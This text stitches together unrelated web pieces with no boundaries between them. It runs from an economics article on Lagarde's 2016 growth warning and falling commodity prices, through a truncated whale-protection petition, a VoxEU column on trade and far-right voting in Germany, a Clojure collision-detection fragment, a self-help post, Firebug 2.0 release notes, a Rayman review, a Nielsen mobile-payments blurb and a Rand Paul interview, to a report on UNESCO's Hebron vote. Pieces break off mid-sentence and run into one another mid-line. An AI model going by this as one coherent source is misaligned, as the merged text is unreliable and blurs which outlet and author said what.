“All of that means global growth will be disappointing and uneven in 2016,” Lagarde said. She warned, in particular, of “spillover effects” resulting from the decision of the US Federal Reserve Board earlier this month to begin raising its benchmark interest rate from near zero, the first Fed rate increase in over nine years.
Lagarde and the IMF had lobbied against the Fed move, warning that it could spark a panic outflow of capital from emerging market countries with high levels of dollar-denominated corporate debt such as Brazil, Turkey and South Africa.
In the Handelsblatt article, Lagarde said that she was concerned about the ability of such countries to absorb “shocks,” citing in particular an increase in financing costs for corporations that sold large volumes of dollar-denominated bonds during the emerging market and oil boom that followed the financial crisis of 2008. The rise in the dollar means the real cost of debt repayment for these companies, whose revenues are in sinking local currencies, increases.
Lagarde hinted that the crisis could spread more broadly across the financial system, suggesting that emerging market and energy sector companies defaulting on their payments could “infect” banks and state treasuries.
On Wednesday, oil prices resumed their slide to their lowest levels in eleven years after the Saudi oil minister said the kingdom had no intention of scaling back petroleum production in 2016. Since the middle of 2014, oil prices have plummeted by two-thirds. In 2015 alone they have dropped by 35 percent.
But the oil price fall is only part of a broader collapse in industrial commodity prices. Nickel has dropped by more than 40 percent. Zinc, which was widely expected to rise in price this year because of the signaled closure of large mines in Australia and Ireland, has fallen 28 percent. Iron ore has also plummeted.
The new drop in oil prices and Lagarde’s pessimistic forecast combined to push down global stock prices Wednesday, with the Dow Jones Industrial Average falling 117 points (0.66 percent), in line with other major indexes in the US and Europe.
The continuing decline in commodity prices is a sharp expression of a deepening crisis in the real economy internationally. The slowdown in China is the most prominent factor in the fall in these prices, as its previously voracious appetite for industrial commodities propped up global demand.
But China’s slowdown is itself an expression of more fundamental processes and contradictions in the world capitalist economy. An indication of the systemic nature of the current malaise is the forecast released this week by OPEC that petroleum prices will not return to the $100-per-barrel levels of 2013 and early 2014 until 2040 at the earliest.
In October, the IMF released a report predicting world economic growth of 3.5 percent for 2016, the slowest rate since the immediate aftermath of the September 2008 financial meltdown. Last April, it warned that the global economy would remain locked in a pattern of slow growth, high unemployment and high debt for a prolonged period, acknowledging that there was little prospect of a return to the growth rates that prevailed prior to the 2008 crash.
In the April report, the IMF focused on a sharp decline in business investment during the so-called “recovery” that officially began in June of 2009. It noted that business investment in North America and Europe had declined by 20 percent, twice the fall that followed previous recessions.
While the IMF chose not to make the connection, this figure points to a basic feature of the global capitalist crisis—the enormous growth of speculation and parasitism. The same tendencies that triggered the 2008 crash—the reckless and largely criminal speculative activities of the financial elite that have come to dominate economic life—have only intensified in the aftermath of the financial crisis.
Far from reining in the banks and hedge funds, the IMF, the major central banks and governments in the US, Europe and Japan have bailed them out to the tune of trillions of dollars and subsidized a further orgy of speculation. By means of ultra-low interest rates and central bank money-printing operations, known as “quantitative easing,” finance capital has been encouraged to inflate new financial bubbles—from the stock market to the oil sector, junk bonds and emerging market economies—which have further enriched the wealthy and the super-wealthy while diverting resources from the productive forces and impoverishing the working class.
While the real economy has remained depressed, stock prices have soared. The Standard & Poor’s 500 index in the US has risen by more than 200 percent since 2009.
Corporations and banks have starved the real economy of productive investment, instead seeking higher profits from risky investments that are entirely parasitic. These include speculation in high-yield, high-risk “junk bonds” linked to the oil and commodities industries. After the implosion of the subprime mortgage market in 2007-2008, money has flooded into this area of speculation. High-yield assets at US mutual funds hit $305 billion in June 2014, triple their level in 2009. Outstanding debt in the US junk bond market has soared to more than $1.2 trillion from less than $700 billion in 2007—an increase of 71 percent.
Now, under the impact of the collapse in industrial commodity prices, the ratings agencies are warning that 50 percent of energy junk bonds could default, along with 72 percent of bonds in the metals, mining and steel industries.
The mounting crisis of the emerging market economies is similarly bound up with massive inflows of hot money seeking high rates of return during the oil boom and China’s post-Wall Street crisis rapid economic expansion. Between 2004 and 2014, emerging market corporate debt increased from $4 trillion to $18 trillion, with much of the increase taking place since 2008.
One figure highlights the further growth of economic parasitism since the 2008 crisis: global debt has increased by 40 percent to $200 trillion, almost three times the size of the world economy.
To pay for this exercise in recklessness and greed, the working class all over the world has been hammered with austerity programs, mass layoffs and cuts in wages, pensions and health benefits. This has only deepened the stagnation and decline in the real economy. But these attacks will continue and intensify in 2016 and beyond, in tandem with the deepening of the crisis of the capitalist system.
Perhaps the sharpest expression of the explosive growth of parasitism is the record increase registered in 2015 in mergers and acquisitions and stock buybacks. US corporations that amassed trillions from cost cutting, wage cuts and the benevolence of the Obama administration and the Fed, rather than invest their cash hoards in job-creating, productive areas, have instead plowed it into stock buybacks to increase the payouts to big investors, and in mergers, which result in downsizing and job cutting. This past year, $4.7 trillion worth of mergers and acquisitions were announced in the US, a record.
One day prior to Lagarde’s column in Handelsblatt, the initial fruits of one of the biggest mergers of the year, the $130 billion deal involving the chemical giants DuPont and Dow, were announced. DuPont said Tuesday it would cut 1,700 jobs in its home area around Wilmington, Delaware. This is part of a $700 million cost-cutting plan that will reduce the firm’s 61,000-strong work force by 10 percent.
Please enable JavaScript to view the comments powered by Disqus.Humpback whales were once decimated by whalers. While some global populations have rebounded, entanglements in fishing gear, vessel strikes, ocean noise, and pollution continue to impede the recovery of North Atlantic humpbacks. The U.S. government is proposing to remove protections from this population.
On July 20th we submitted over 7,500 signatures and comments asking to maintain protections on humpback whales. Thank you to all who added their name.
The United States currently lists humpback whales globally as endangered under the U.S. Endangered Species Act (ESA).
However, the National Marine Fisheries Service (NMFS), the US Agency charged with protecting whales and dolphins, is proposing to divide the world’s humpback whales into |
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Christian Dippel, Robert Gold, Stephan Heblich
The increasing polarisation of politics in the US in particular has spurred scholarly research on the potential links to increasing globalisation. This column focuses instead on Germany to investigate whether the rise of right-wing populism is associated with increased international trade. Regions most threatened by exposure to imports saw increases in support for far-right parties, while regions that benefited from export opportunities saw decreases. To counter this globalisation backlash, policy should aim to cushion the effects of trade exposure on the losers from globalisation.
Both economic theory and empirical research largely agree that international economic integration has positive aggregate welfare effects. Still, globalisation creates distributional frictions between winners and losers. Economic research so far has concentrated on labour market effects of increasing international trade (Autor et al. 2013, Dauth et al. 2014, Pierce and Schott 2016). While this research confirms that exposure to trade with low-wage countries causes labour market turmoil in high-wage countries, it also shows that positive labour market effects of trade outweigh the negative ones. However, the political consequences of this development have been widely disregarded in economic research.
Watch Robert Gold discuss whether globalisation fuels fringe politics in the video below
Only recently have scholarly papers started investigating the political effects of increasing international trade, fuelled by the rise of right-wing populism throughout Europe and by the increasing polarisation of US politics. Most of this research is centred on the US and investigates elected representatives’ reactions to the electorate’s growing opposition to globalisation (Feigenbaum and Hall 2015, Jensen et al. 2016, Che et al. 2016, Autor et al. 2016). The findings suggest that politicians adjust their stances in favour of less liberal policies in general, and more protectionist policies in particular. In a recent paper, we use German data to address the question of who captures the anti-globalisation vote (Dippel et al. 2015). This allows us to also shed light on reasons for voters’ increasing demand for populist policies.
Measuring trade effects on voting behaviour
We focus on the effects of Germany’s increasing trade with China and Eastern Europe. Trade with these countries rose unexpectedly due to two historic events: the fall of the Iron Curtain opened up the Eastern European markets, and China’s accession to the WTO made the country a global player. Thus, as can be seen from Figure 1, trade with China and Eastern Europe tripled over the first period of our analysis from 1987-1998, and tripled again over the second period from 1998-2009. Restricting the analysis to trade with Eastern Europe and China has two advantages. First, it helps to isolate the effect of trade on voting behaviour, independent of economic developments that took place simultaneously. If one would otherwise look at Germany’s increasing trade with France or the UK, for example, one would inevitably capture effects of European integration unrelated to trade, leading to biased results. Second, our focus allows comparison with research on the labour market effects of international trade (Autor et al. 2013, Dauth et al. 2014), which we consider relevant for explaining trade effects on voting behaviour.
Figure 1. German trade with Eastern Europe and China
Notes: Aggregate trade flows between Germany and China plus Eastern Europe based on UN Comtrade Data. Values in constant 2005 euros.
From the literature cited above, we know that local labour markets in high-wage countries are differentially affected by trade with low-wage countries. Some regions benefit from globalisation, while others lose. We expect those differential labour market effects to translate into differential trade effects on voting behaviour. Thus, we calculate a measure of regional trade exposure based on the German local labour markets’ start-of-period industry structure. If in 1987 a region was specialised in manufacturing industries that suddenly had to compete with producers in Eastern Europe and China, this region faces an increase in import-exposure, putting pressure on the local labour markets. In contrast, if a region was specialised in industries that could suddenly sell their products to new markets, this region faces an increase in export exposure, allowing jobs to grow. Netting out the effects of import exposure and export exposure gives us a measure of local labour markets’ overall exposure to international trade, as depicted in Figure 2 for our two periods of analysis.
Figure 2. Regional exposure to trade with Eastern Europe and China
Notes: Net value of trade exposure by period. Darker colours indicate higher levels of exposure.
Who captures the anti-globalisation vote?
We assess the effects of trade exposure on the outcomes of national elections in 408 German districts representing local labour markets. Looking at the whole political party spectrum, from the left-fringe to the far-right, we find clear results. Only the electoral support of far-right parties significantly responds to international trade. Increasing trade exposure leads to an increase in far-right parties’ vote share in national elections. As we argue in our paper, this indicates the German far-right parties’ success in capturing the anti-globalisation vote by offering a nationalist alternative to what they refer to as “nation-state-less predator capitalism” led by the “global dictatorship of big money” (Stoess 2010: 40-42).
Why does voting behaviour change in reaction to trade?
To verify that voters change their voting behaviour in reaction to trade, we look at individual party support as it is reported in the German Socio-Economic Panel. We find our regional-level results confirmed. Individuals affected by trade turn to supporting far-right parties, while other parties’ support is not affected. Moreover, the individual data reveal precisely who changes their voting behaviour in reaction to increasing trade exposure. It turns out that the positive effect of trade exposure on far-right voting is centred on a specific group of individuals — low-skilled manufacturing workers. This is exactly the group of individuals that, according to the prior literature, has faced the most adverse labour market effects from international trade. Thus, finally, we probe to what extend the trade effect on voting can be explained by labour market adjustments. We find that labour market turmoil caused by international trade is the major channel for translating trade exposure into increasing support for fringe parties.
From theory and prior research, we would expect trade to have a twofold effect on local labour markets. Increasing imports from low wage countries should negatively affect local labour markets, as manufacturing jobs in high wage countries get substituted. Conversely, increasing exports require factor-inputs and should have stimulating effects. We find exactly this in our data — regions exposed to high levels of imports face job losses and see an increase in the vote share for far-right parties. By contrast, regions benefiting from better export opportunities gain jobs and see a decrease in the vote share for far-right parties. A formal causal mediation analysis reveals that about two thirds of the overall trade effect on voting can be explained by labour market adjustments. And once again, this is confirmed on the individual level — workers affected by import competition turn to supporting the political far-right, while workers benefiting from export access abstain from doing so. Consequently, international trade integration has both a radicalising and a moderating effect, depending on its underlying labour market impacts.
Are there any policy implications?
Our research shows that globalisation has fuelled its own opposition. Workers who lose from trade integration express their dissent at the ballot box by voting for right-fringe parties – that is, parties that offer a nationalist alternative to ever-increasing globalisation. Even if fringe parties are unlikely to come into power, more moderate parties might strategically react to the anti-globalisation vote (Feigenbaum and Hall 2015, Jensen et al. 2016, Che et al. 2016, Autor et al. 2016). Policymakers might be less willing to further international economic integration if they expect the electorate to be increasingly opposed. This would imply welfare losses. To counter this development, policy must help those who lose from globalisation to cushion the effects of trade exposure. The positive effects of export access provide scope for such policies.
References
Autor, D, D Dorn and G Hanson (2013) “The China syndrome: Local labor market effects of import competition in the United States”, American Economic Review, 103(6): 2121–68.
Autor, D, D Dorn, G Hanson and K Majlesi (2016) “Importing political polarization? The electoral consequences of rising trade exposure”, NBER, Working Paper 22637.
Che, Y, Y Lu, J R Pierce, P K Schott and Z Tao (2016) “Does trade liberalization with China influence US elections?”, NBER, Working Paper 22178.
Dauth, W, S Findeisen and J Suedekum (2014) “The rise of the East and the Far East: German labor markets and trade integration”, Journal of European Economic Association, 12(6): 1643–1675.
Dippel, C, R Gold and S Heblich (2015) “Globalization and its (dis-)content: Trade shocks and voting behaviour”, NBER, Working Paper 21812.
Feigenbaum, J J and A B Hall (2015) “How legislators respond to localized economic shocks: Evidence from Chinese import competition”, Journal of Politics, 77(4): 1012–30.
Jensen, J B, D P Quinn and S Weymouth (2016) “Winners and losers in international trade: The effects on US presidential voting”, NBER, Working Paper 21899.
Pierce, J R and P K Schott (2016) “The surprisingly swift decline of US manufacturing employment”, American Economic Review, 106(7): 1632–62.
Stoess, R (2010) “Rechtsextremismus im wandel”, Technical report, Friedrich Ebert Stiftung.Library
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length) of the projection of AC onto AB, if it is smaller than 0 then the closest point on this line to the circle is the point A (start of the line segment), if it is bigger than the magnitude of the AB vector then the closest point is B, else we return the projection of AC onto AB plus A (which converts it back into world coordinates) that gives us the closest point on the line to the circle.
( defn path-clean [a b c r] ( let [closest (closest-point-on-line a b c) distance (magnitude (subtract c closest))] ( if (<= distance r) false true )))
Now that we know the location of the closest point on the line to the circle, collision detection is as simple as calculating the length between closest point and the circle, if it is smaller than the radius of the circle we have a collision else we have a clean path.A Trick I Have Found in Achieving Goals and Becoming Successful
I want to share something with you that I have found extremely helpful in my life. This isn't a key to life or the ultimate answer. It isn't going to cure your problems or guarantee you success. I'm not going to try and promise something that isn't true. But, using this trick I have guided my life and changed it in a positive manner. So what is this trick I'm talking about? Here it is: the way in which you think is the number one factor in achieving your goals and becoming successful. Let me explain.
The attitude you have in your life is one of the most important factors in being successful. First, you must decide what is important in your life and make it your main goal. You have to think about your goal constantly. I'm not just talking about thinking about it every now and then. No. I'm talking about devoting your life to achieving your goal. You have to really want it. It has to be on your mind all of the time. It has to be what you get up in the morning to achieve. It has to be in every decision you make, every thought you make.
Success is not just going to randomly fall into your lap one day. It is going to take months if not years of dedication. If you really want to be truly successful you'll need discipline. Discipline starts with thought. Your thoughts decide whether you will be successful. Look at any successful athlete, speaker, scientist, teacher, leader, or anyone with success. They didn't just wake up one morning and decide to be successful. They put in years of work to make it. They practiced, they planned, they put immense amounts of time into reaching success. These successful people had decided at some point that they were going to achieve their goal.
If you really want it, then you need to align your thoughts to achieve it.
Become positive. Don't look at the negatives in your life. By looking at the positives you can motivate yourself. Focusing on negatives will only drag you down. You will generate results and become more positive by simply being in a positive mindset in the first place. Start simple. Wake up and be happy you can have a goal. Be happy you thought about your goal and are working to achieve it. Anytime you get closer to your goal, focus on it and the rest will follow. Focus on the positives.
Take responsibility. If you consistently have excuses as to why you aren't getting any closer to your goal, then you will forever be stuck nowhere near your goal. Don't blame outside sources. Don't rely on other people to achieve results. If you really want something then you need to seize it. It is yours to take. Why should you not have it?
Emphasize your goal. You need to really consider what you are striving for as something of value. It has to be what you really want in life. If you want something in life, but place no priority in it, chances are you will never get it. Those who are successful make it their life's work. They treat their dreams like a child. They protect it, nurture it, care for it. Make sure that if you want it, you would do anything to ensure that you get it.
Think about what you really want in life. What is it that you truly need in order to consider your life successful? Make what you value your goal. You aren't just going to randomly one day have this goal and be successful. It is going to take time, effort, and perseverance to achieve. But if you can think positive, take responsibility, and consider it a top priority, you are setting yourself up for success. The rest of the pieces will follow. Put yourself in the correct mindset, and you WILL be able to achieve your goals.
Sponsored By:
Did you enjoy this post? If so, be sure to check out The Power of Positive Thinking by Dr. Norman Vincent Peale.
"An international bestseller with over five million copies in print, The Power of Positive Thinking has helped men and women around the world to achieve fulfillment in their lives through Dr. Norman Vincent Peale’s powerful message of faith and inspiration.
In this phenomenal bestseller, “written with the sole objective of helping the reader achieve a happy, satisfying, and worthwhile life,” Dr. Peale demonstrates the power of faith in action. With the practical techniques outlined in this book, you can energize your life—and give yourself the initiative needed to carry out your ambitions and hopes."Fresh new Firebug 2 has been released and it’s time to see what new features has been introduced in this version.
Firebug 2.0 is compatible with Firefox 30 – 32
Firebug 2.0 beta 8 has also been released to update users on AMO beta channel. This version is exactly the same as 2.0
Firebug is an open source project maintained by developers from around the world and here is a list of all members who contributed to Firebug 2
Jan ‘Honza’ Odvarko
Sebastian Zartner
Simon Lindholm
Florent Fayolle
Farshid Beheshti
Steven Roussey
Markus Staab
Sören Hentzschel Belakhdar Abdeldjalil
Thomas Andersen
Jakob Kaltenbrunner
David Gomez
Leif Dreizler
Luca Greco
Benediktas Knispelis
There are also plenty of translators who localized Firebug into 35 languages!
Before we jump right into the details, let’s see how the current UI looks like. Firebug 2 went through a face lift in this version. World class designers have been working on the new theme and the user interface is now clean and more intuitive.
Firebug 2 UI:
The screenshot shows Win OS theme other OSes (Linux and Mac) have own custom theme.
New Features
Firebug 2 introduces many new features and bug fixes also because we completely removed dependency on the ancient Firefox debugging engine (aka JSD1) and incorporated new debugging engine known as JSD2.
Syntax Highlighting
One of the most visible new features is probably that the Script panel supports JavaScript syntax highlighting.
Syntax coloring is also there if you edit HTML as a free text by clicking on the Edit button in the toolbar. The same for CSS source edit mode…
Pretty Print
The Script panel also supports pretty-printing and if you deal with minified JavaScript code you’ll find this feature extremely useful.
DOM Events Inspector
Firebug 2 integrates existing EventBug extension and introduces new Events side panel within the existing HTML panel. This panel lists all of the event handlers on the page grouped by event type for the currently selected DOM element. The panel is nicely integrated with other Firebug panels and allows to quickly find out which HTML element is associated with specific event listener or see the JavaScript source code (read more).
Searching in HTML Panel
Search in the HTML panel has been improved and the user can now use CSS selectors or regular expressions to find specific elements.
Code Auto Completion
Code auto-completion system has been improved across Firebug 2 UI on several places. It’s now available in the Command Editor (within the Console panel) where you can press the <tab> key to open a little completion popup window.
Auto completion works even in breakpoint-condition popup dialog where it offers variables in the current scope.
You can enjoy auto-completion when editing HTML attributes (works for SVG attributes too) and also within HTML style attribute. All these little details make Firebug an awesome tool to use!
JavaScript Expressions Inspector
When debugging and stepping through your code you can quickly inspect and explore details of any JavaScript expression you see in the Script panel. Just hover your mouse over the expression or selected piece of code and see the result in the tooltip.
You can also right click on an expression (or again on the current selection) and pick Use in Command Line or Inspect in DOM Panel actions.
Console Log Grouping
There is new option in the Console panel that allows to group console logs coming in a row from the same location (on by default).
Inspect JavaScript Function Return Value
This feature allows to examine and modify return value of a JavaScript function. See an example:
function myFunction() {
return foo();
}
The usual problem in other debuggers and tools is is how to examine the return value of foo(). Firebug allows that by stepping through a return statement and displaying the value within the Watch side panel. It even allows you to modify the return value through the Watch panel just like other values (read more).
Show/Hide Firebug Panels
One change we introduced in Firebug 2 is the way how to hide/show individual panels. Check out the next screenshot that depicts how it’s done.
Displaying Original CSS Color Values
Another nice enhancement allows displaying original CSS color values. There is a new option Colors As Authored in the CSS panel that allows displaying CSS color values as they were defined. This makes it easier to compare the styles interpreted by the browser with the ones inside the original CSS source file. While this new option is now the default, you still have the possibility to switch to hexadecimal, RGB or HSL formatting.
Quickly create new HTML attribute
There is a new way how to quickly create new attributes for HTML elements. All you need to do is hover mouse cursor over the closing arrow bracket of an element you want to add a new attribute to. See, the cursor changes its shape into a hand.
Click on the closing tag to open an inline editor and start typing an attribute name.
The rest works as usual. After you typed the name press the tab key and type the attribute value.
Inspect Registered Mutation Observers
The existing getEventListeners() command (see a Firebug tip) has been extended and it now displays also registered mutation observers for given element.
You can use this test page to try it yourself.
See also Firebug 2.0 release notes.
Firebug Extensions
As usual we spent some time testing existing Firebug extensions. Here is a list of those that passed our review and work with Firebug 2.0.
AMF Explorer AMF Explorer is based on the JSON Explorer and XML Explorer features of Firebug, AMF Explorer allows web developers to view deserialized AMF messages in Firebug’s Net panel.
Console Export Export data from the Console panel
CSS Usage See what CSS rules and properties are actually used in your app.
Firediff Additional insight into the changes that are being made to the components of the page
FireLogger Logging support for web developers (PHP, Python, ColdFusion) (see also this post)
FirePath adds a development tool to edit, inspect and generate XPath 1.0 expressions and CSS 3 selectors
FirePicker Adds color picker to Firebug’s inline CSS editor. (see also this post)
FireQuery Adds a collection of jQuery-related enhancements to Firebug. Recommended for all jQuery developers. (see also this post)
FireStorage Plus! Is an extra panel to Firebug for displaying and manipulating the web storage containers such as localStorage and sessionStorage. (see also this post)
FlashFirebug Debug ANY AS3 SWF files on the web. Edit properties and inspect elements. Redirect SWF output to the extension. Run AS3 code and transform objects on the fly. Access SWF assets with the decompiler. View AMF calls and Shared Objects and much more!
Illuminations for Developers Takes JavaScript frameworks and makes their internals visible inside Firebug, including views, models, class names, and more.
Javascript Deminifier Deminify javascript before it is downloaded.
NetExport NetExport is a Firebug extension that allows exporting data from the Net panel.
Omnibug Omnibug is a plugin for Firebug to ease developing web metrics implementations. Each outgoing request (sent by the browser) is checked for a pattern; if a match occurs, the URL is displayed in a Firebug panel, and decoded to show the details of the request. In addition, requests can be logged to the filesystem.
PageSpeed Page Speed is an open-source Firefox/Firebug Add-on. Webmasters and web developers can use Page Speed to evaluate the performance of their web pages and to get suggestions on how to improve them.
YSlow YSlow analyzes web pages and suggests ways to improve their performance based on a set of rules for high performance web pages. YSlow is also a Firefox add-on integrated with the Firebug web development tool.
ZikulaBug ZikulaBug is a Firebug extension, which provides a friendly interface for Zikula’s DebugToolbar. It allows to browse Zikula debug data grouped in eight tabs: General, Configuration, SQL, Templates, Function Executions, Log Console, HTTP request and Settings.
Dojo Firebug Extension Support for Dojo based app debugging.
Firefinder find HTML elements matching chosen CSS selector(s) or XPath expression quickly.
Fireflow Provides method call logs in a tree format.
You can also see the complete list of all extensions.
Follow us on Twitter to be updated!
You can also post feedback in the newsgroup.
Jan ‘Honza’ OdvarkoRayman: Origins Oranges, the latter-day reboot of the Rayman platform series, made its way to PC yesterday, which was happy news for anyone who picked up on the surprising critical buzz around last year’s console versions. I’ve been bounding through the singleplayer, though have yet to try the co-op multiplayer mode. Here = words.
I’ve pinballed from outright glee to making a pathetic whimpering noise like a dog locked inside a cupboard while playing the resolutely 2D reboot of venerable platformer Rayman, but the glee always returns. It is, especially in its initial zones, a purely joyful experience, showering its player with visual and interactive gifts like a weirdo French Santa. While the visual tomfoolery never ceases – angry mutant oranges, giant forks with the demeanour of a scolding fishwife – it’s nonetheless a precision jumping game that isn’t afraid to inflict suffering.
One of the many ways in which Rayman Oranges charms me silly is that it doesn’t make a lick of sense, nor does it even try to. The plot – a race of particularly grumpy undead raise hell because they’re narked about the music Rayman and chums play – is just the loosest of framing devices, an excuse for a parade of cartoon sights that only those who’ve spent a lifetime hepped up on goofballs could possibly predict.
Amazingly, I note someone on Wikipedia has carefully and humourlessly summarised the story. The idea of someone feeling compelled to do that, as if it’s something that anyone would want to find out about, floors me. This is a game about joyfully. crazy stuff happening for no reason.
It finds itself a comfortable place between impressively inventive and gratingly wacky, and very rarely tips into the latter. Nor does it become obtusely odd: its aim is to delight, not to show off. You can’t argue with the craftsmanship here. Much like visiting John Walker’s sex dungeon, there’s always a strange new monster or a happy song for no reason or a giant school of fish or a rope made of chillis around the corner.
Never having been much of a Mario The Hedgehog kind of a guy (I was too busy with my X-COMs and Syndicates, thank you very much), there’s a significant part of me which wishes Rayman wasn’t a straight-up platformer. It front-loads all manner of dicking around in the environment without too much risk, but as it wears on it somehow devolves into thoroughly traditional jumping puzzles while simultaneously piling on new abilities such as shrinking, hovering and swimming.
I think it’s the unpredictability that makes it surprisingly tricky to master: it’s not actually a matter of perfecting jump skills, but of simultaneously pulling off your leaps while traversing a busy, changeable environment and performing knee-jerk hovers and slam attacks. Never mind Assassin’s Creed 3 – if you can manage to usefully control Rayman Oranges on a keyboard you’re a better PC gamer than I. I couldn’t get anywhere without a gamepad.
That said, if you’re not of a mind to be a completist, or even to complete the game, sailing through without collecting all the pick-ups is more straightforward. Once I admitted to myself that trying to 100% levels was beyond my patience and just got on with getting to the exit and enjoying the spectacle, some of the early flow, that delightful chain reaction of mad, colourful chaos, returned.
Play Rayman on your own terms, not from fear that you won’t be able to unlock all the characters and bonus areas, and it’s relatively frustration-free. But if you are from that Super Meatboy school of challenge-fever, you’ll probably get more out of this than you might imagine. It doesn’t have that consciously punishing urgency and you won’t be able to make YouTube videos that people stare at in amazement before erecting a shrine in honour of your incredible skill at pressing the A button, but it certainly has an echelon of added difficulty if you want it.
We mere mortals will have to settle for a slow trickle of new playable characters unlocked as the game wears on, but really they’re only visually-tweaked variations on a theme, and are mostly references I don’t recognise to the early Rayman games. It’s a sweet little treat to get a guy with a different coloured coat or a hat covered in stars every couple of levels though, as one downside of the paper-thin plot is that there’s no real sense of purpose beyond ‘get to the next level.’
Knowing how many thingies you need to collect to access the next character/costume is a reason to keep on. Mostly, though, the reason to keep on is just to see what on Earth it’s going to show you next. Every time I was convinced the whole thing had worn thing for me and I’d stop after the next level, it seemed to sense it and dump something new and ridiculous on me, winning back my faith for a few more minutes.
It is, ultimately, a traditional platformer in the early 90s mould, but made with a knowingness of how absurd the whole affair is plus the sort of visual polish that the tech of the time could never have mustered. Its clear desire to be bold and be memorable keeps its head far above the waters of hollow nostalgia, and any question of ‘why is this on PC?’ entirely moot.
It’s only that it’s called ‘Rayman’ that makes this at all odd. A rose by any another name might smell a little sweeter, but don’t let the series’ divisive heritage put you off what is a massively rewarding and celebratory platformer in its own right.
Plus there’s no DRM (outside of whatever download service you grab it from). How about that?
Rayman: Origins is out on PC now, at retail, on Steam and the UbiShop.Nielsen has come out with some new data that shows that about 29% of smart phone owners turn to their phones for shopping. 71% of percent of app users said they would rather use their phone to pay at registers. In the third quarter of 2011 38% of smartphone users used their cell phone for price comparison and purchasing. 75% of iPhone owners have expressed interest in paying by iPhone and then 39% said they would be very interested in an for the purpose of making purchases at the register. A lot of these numbers favor companies like Google and PayPal which have been working on large opportunities to capitalize on consumers’ mobile payments desires. These numbers show that things are changing in this world, who knows maybe in the future you won’t need a physical credit card you will only need your phone.Sen. Rand Paul (R-Ky.) (AP Photo)
(CNSNews.com) – Sen. Rand Paul (R-Ky.) told C-SPAN’s “Newsmakers” on Sunday that he thinks civil asset forfeiture – where police can seize, then keep or sell any property they suspect is involved in a crime regardless of whether or not the owner is arrested or even convicted - “is a terrible idea until you’ve convicted someone.”
“There was a discussion the other day in the White House about civil asset forfeiture. I think civil asset forfeiture is a terrible idea until you’ve convicted someone, and I’d like to have that discussion with the president,” Paul said.
Paul was asked how concerned he was that the Trump administration could expand surveillance powers given that Paul voted against the confirmation of Mike Pompeo to head the CIA, but voted for Attorney General Jeff Sessions to lead the Justice Department.
“How concerned are you that the Sessions Justice Department, the Pompeo CIA, the potential ODNI administration of Dan Coats are going to go back more towards the direction that you’ve been opposed for many years?” a reporter asked.
Paul said he was “very concerned, and while I do have some agreements with President Trump on less regulation, less taxes, replacing Obamacare, on surveillance we may not be – or on privacy – on the same wavelength. We’ll have to see.”
Paul said addressing the issue of civil asset forfeiture is important, because it unfairly targets poor people.
“I’ve had that discussion with Senator Sessions,” he said, referring to Attorney General Jeff Sessions, who was sworn in last week, “and I think some of the things we’ve done particularly to poor people—poor people in our country deal in cash more than wealthier people, and more than people who have their life better planned out who might deal with money in a different way.
“They have cash, and they walk around—doesn’t make them automatically guilty of a crime because they deal in cash, and so I think in order to take someone’s money from them, the government ought to prove that it was ill gotten,” Paul said, adding that the other side of that argument is “if someone’s caught with 50 kilos of some kind of drug and then there’s $50,000 in cash sitting there that somehow the people that are caught are going to get it back. That never happens.
“What we’re really, really talking about is people driving down the road, walking down the street…they just have their possessions taken from them without any kind of conviction,” he said.
“There’s a real danger, and there have been instances of up and down the country of little towns on the side of highways just pulling over everybody and just taking their money, almost like some sort of Robin Hood kind of scheme, so I do worry about that, and I will continue to stand up for what I feel is right no matter no matter whether it’s a Republican or Democrat in office,” Paul said.TEL AVIV — The United Nations Educational, Scientific, Cultural Organization (UNESCO) on Friday declared the Tomb of the Patriarchs – considered the second holiest site in Judaism after the Temple Mount – to be a Palestinian world heritage site in danger.
Besides the tomb, UNESCO’s World Heritage List also declared the City of Hebron to be a danger site located in the “State of Palestine,” even though no such state exists.
Haaretz reported on the resolution:
The resolution that was proposed by the Palestinians includes two main clauses. The first asserts that Hebron’s Old City and the Tomb of the Patriarchs are Palestinian heritage sites, and will be registered as such in UNESCO’s World Heritage List. The second asserts that the two sites are to be recognized as being in danger, meaning that each year UNESCO’s World Heritage Committee will convene to discuss their case
The Times of Israel reported on the vote:
Twelve countries voted in favor of the move, while three opposed it. Six countries abstained.
Votes to inscribe sites onto UNESCO’s World Heritage List are usually done by a show of hands among all the member states. But three countries — Poland, Croatia and Jamaica — requested a secret ballot. Several states objected, leading to a shouting match between delegates, and Israeli Ambassador Carmel Shama-Hacohen storming to the desk of the session’s chairman to make Israel’s case. The kerfuffle ended after the chairman, a Polish diplomat, called in security.
…The membership of this year’s Heritage committee includes five countries with which Israel does not have diplomatic ties, and a number of others that routinely support pro-Palestinian resolutions. The 21 member states are Angola, Azerbaijan, Burkina Faso, Croatia, Cuba, Finland, Indonesia, Jamaica, Kazakhstan, Kuwait, Lebanon, Peru, Philippines, Poland, Portugal, South Korea, Tunisia, Turkey, Tanzania, Vietnam and Zimbabwe.
Danny Danon, Israel’s Ambassador to the United Nation, stated: “This attempt to sever the ties between Israel and Hebron is shameful and offensive, and eliminates UNESCO’s last remaining shred of credibility. To disassociate Israel from the burial grounds of the patriarchs and matriarchs of our nation is an ugly display of discrimination, and an act of aggression against the Jewish people.”
Israeli President Reuven Rivlin tweeted:
UNESCO seems intent on sprouting anti-Jewish lies, while it remains silent as the region's heritage is destroyed by brutal extremists. — Reuven Rivlin (@PresidentRuvi) July 7, 2017
In a statement sent to Breitbart Jerusalem and other media outlets, Education Minister Naftali Bennett slammed the UNESCO decision as “disappointing and disgraceful,” and said UNESCO “denies history and distorts reality, knowingly serving those attempting to erase the Jewish state.”
Bennett, who also heads Israel’s national UNESCO Committee, added, “Israel will not resume its cooperation with UNESCO so long as it remains a political tool, rather than professional organization.”
Bennet outlined the Jewish history in Hebron:
The Jewish connection to Hebron goes back thousands of years. Hebron, the birthplace of King David’s kingdom, and the Tomb of the Patriarchs, the first Jewish purchase in Israel and resting place of our forefathers – are our People’s oldest heritage sites. UNESCO’s resolution must be rejected, and we our efforts to strengthen the city of our fathers increased
Our presence in Hebron was continuous until 1929 when Arabs massacred dozens of Jews. That brutal murder failed to sever our ties to the city and Tomb of the Patriarchs, which has been a Jewish site since biblical times. No vote will change these simple truths.
Emmanuel Nahshon, a spokesman for Israel’s Foreign Ministry, called the motion “fake news.”
“They are trying to rewrite Jewish history and the history of the region,” he said.
The @UNESCO decision on Hebron & Tomb of Patriarchs is a moral blot. This irrelevant organization promotes FAKE HISTORY. Shame on @UNESCO 👎 — Emmanuel Nahshon (@EmmanuelNahshon) July 7, 2017
